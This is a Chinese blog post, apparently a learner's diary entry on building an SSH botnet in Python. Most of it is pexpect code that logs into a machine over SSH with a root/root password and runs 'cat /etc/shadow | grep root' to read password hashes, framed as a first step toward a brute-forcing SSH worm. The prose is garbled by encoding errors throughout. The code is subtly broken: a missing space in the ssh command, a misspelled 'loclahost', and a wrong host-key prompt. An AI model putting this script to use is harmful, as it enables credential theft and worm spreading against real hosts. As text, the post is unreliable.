在上一節(jié)我們已經(jīng)創(chuàng)建了一個(gè)用來搜尋目標(biāo)的端口掃描程序,選擇可以開始利用這些服務(wù)中的漏洞了。Morris蠕蟲有三種攻擊方式,其中之一就是用常見的用戶名和密碼嘗試登錄RSH服務(wù),RSH是1988年問世的,他為系統(tǒng)管理員提供了一種很棒的遠(yuǎn)程連接一臺(tái)機(jī)器,并能在主機(jī)運(yùn)行一系列終端命令對(duì)它進(jìn)行管理的方法。
后來人們?cè)赗SH中增加一個(gè)公鑰加密算法,以保護(hù)其經(jīng)過網(wǎng)絡(luò)傳遞的數(shù)據(jù),這就是SSH協(xié)議,最終SSH協(xié)議替代了RSH。不過,對(duì)于防范用常見用戶名和密碼嘗試暴力破解登錄的攻擊方法,這并不能起到多大作用。SSH蠕蟲已經(jīng)被證明是非常成功的和常見的攻擊方式。
用Pexpect與SSH交互
現(xiàn)在,讓我們來實(shí)現(xiàn)我們自己的能暴力破解待定目標(biāo)用戶名/密碼的SSH蠕蟲。因?yàn)镾SH客戶端需要用戶與之進(jìn)行交互,我們的腳本必須在發(fā)送進(jìn)一步的輸入命令之前等待并理解屏幕輸出的意義。請(qǐng)考慮以下情形:要連接我們架在IP地址127.0.0.1上SSH的機(jī)器,應(yīng)用程序首先會(huì)要求我們確認(rèn)RSA密鑰指紋,這時(shí)我們必須回答“是”,然后才能繼續(xù),接下來,在給我們一個(gè)命令提示符之前,應(yīng)用程序要求我們輸入密碼,最后,我們還要執(zhí)行uname -v命令來確定目標(biāo)機(jī)器上系統(tǒng)內(nèi)核的版本。
為了完成上述控制臺(tái)交互過程,我們需要使用一個(gè)第三方python模塊——Pexpect。Pexpect能夠?qū)崿F(xiàn)與程序交互,等待預(yù)期的屏幕輸出,并據(jù)此作出不同的響應(yīng),這使得它稱為暴力破解SSH用戶口令程序的首選工具。
檢測(cè)connect()函數(shù),該函數(shù)接收的參數(shù)包括一個(gè)用戶名,主機(jī)名和密碼,返回的是以此進(jìn)行SSH連接的結(jié)果,然后,利用pexpect庫(kù),我們的程序等待一個(gè)可以預(yù)計(jì)到的輸出,可能會(huì)出現(xiàn)三種可能的結(jié)果:超時(shí),表示主機(jī)已使用一個(gè)新的公鑰的消息和要求輸入密碼的提示。如果出現(xiàn)超時(shí),那么session.expect()返回為零,用下面的if語(yǔ)句會(huì)識(shí)別出這一情況,打印一個(gè)錯(cuò)誤消息后返回,如果child.expect()方法捕獲了ssh_newkey消息,他會(huì)返回一個(gè)1,這會(huì)使函數(shù)發(fā)送一個(gè)yes消息,以接收新的密鑰,之后,函數(shù)等待密碼提示,然后發(fā)送SSH密碼。
import pexpect
prompt = ['#','>>>','>','\$']
def sen_command(child,cmd):
child.sendline(cmd)
#發(fā)送你想要執(zhí)行的命令
child.expect(prompt)
#匹配命令符
print(child.before)
#輸出執(zhí)行的結(jié)果
def connect(user,host,password):
ssh_newkey = 'Are you want to continue connecting?'
connStr = 'ssh'+user+'@'+host
#構(gòu)建ssh命令,完整的為ssh 用戶名@主機(jī)地址
child = pexpect.spawn(connStr)
#將上面的ssh命令放入spawn函數(shù)中創(chuàng)建一個(gè)新的子進(jìn)程
ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword:'])
#這句話是用來等待子進(jìn)程的輸出,如果超時(shí)了沒有輸出任何東西,就會(huì)匹配到pexpect.TIMEOUT,其值為0
#如果輸出了ssh_newkey,那一般就是ssh連接時(shí)的一種提示,一般用來確認(rèn)遠(yuǎn)程連接的公鑰,其值通常為1
#如果輸出了[P|p]assword:,表示子進(jìn)程正在請(qǐng)求輸入密碼,其值一般為2
if ret ==1:
#如果匹配到了ssh_newkey,也就是匹配到了新密鑰
child.sendline('yes')
#那么向子進(jìn)程發(fā)送yes,表示接受這個(gè)新密鑰
ret = child.expect([pexpect.TIMEOUT,'[P|p]assword:'])
#接著,就是等待超時(shí),或者輸入密碼
if ret ==0:
#如果為0,那就輸出錯(cuò)誤,超時(shí)了,并且返回
print('[-] error connecting')
return
child.sendline(password)
#如果已經(jīng)收到輸入密碼的提示,則將密碼發(fā)送到子進(jìn)程
child.expect(prompt)
#等待子進(jìn)程與特定的操作符進(jìn)行匹配,如果匹配成功則開始進(jìn)行交互
#prompt = ['#','>>>','>','\$'],#一般是root管理員,<<<一般是python
return child
一旦通過驗(yàn)證,我們就可以使用一個(gè)單獨(dú)的comand()函數(shù)在SSH會(huì)話中發(fā)送命令。command()函數(shù)需要接受的參數(shù)是一個(gè)SSH會(huì)話和命令字符串,然后,它向會(huì)話發(fā)送命令字符串,并等待命令提示符再次出現(xiàn),在獲得命令提示符后,該函數(shù)把從SSH會(huì)話那里得到的結(jié)果打印出來。把這些打包起來就得到一個(gè)完整的可以模擬人的交互行為的連接和控制SSH會(huì)話的腳本。文章來源:http://www.zghlxwxcb.cn/news/detail-851338.html
import pexpect
prompt = ['#','>>>','>','\$']
def sen_command(child,cmd):
child.sendline(cmd)
#發(fā)送你想要執(zhí)行的命令
child.expect(prompt)
#匹配命令符
print(child.before)
#輸出執(zhí)行的結(jié)果
def connect(user,host,password):
ssh_newkey = 'Are you want to continue connecting?'
connStr = 'ssh'+user+'@'+host
#構(gòu)建ssh命令,完整的為ssh 用戶名@主機(jī)地址
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword:'])
if ret ==1:
child.sendline('yes')
ret = child.expect([pexpect.TIMEOUT,'[P|p]assword:'])
if ret ==0:
print('[-] error connecting')
return
child.sendline(password)
child.expect(prompt)
return child
def main():
host = 'loclahost'
user = 'root'
password = 'root'
child = connect(user,host,password)
sen_command(child,'cat /etc/shadow | grep root')
if __name__=='__main__':
main()
今天的學(xué)習(xí)分享就到這里,謝謝大家的觀看。文章來源地址http://www.zghlxwxcb.cn/news/detail-851338.html
到了這里,關(guān)于學(xué)習(xí)Python第十七天:用python構(gòu)建一個(gè)SSH僵尸網(wǎng)絡(luò)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!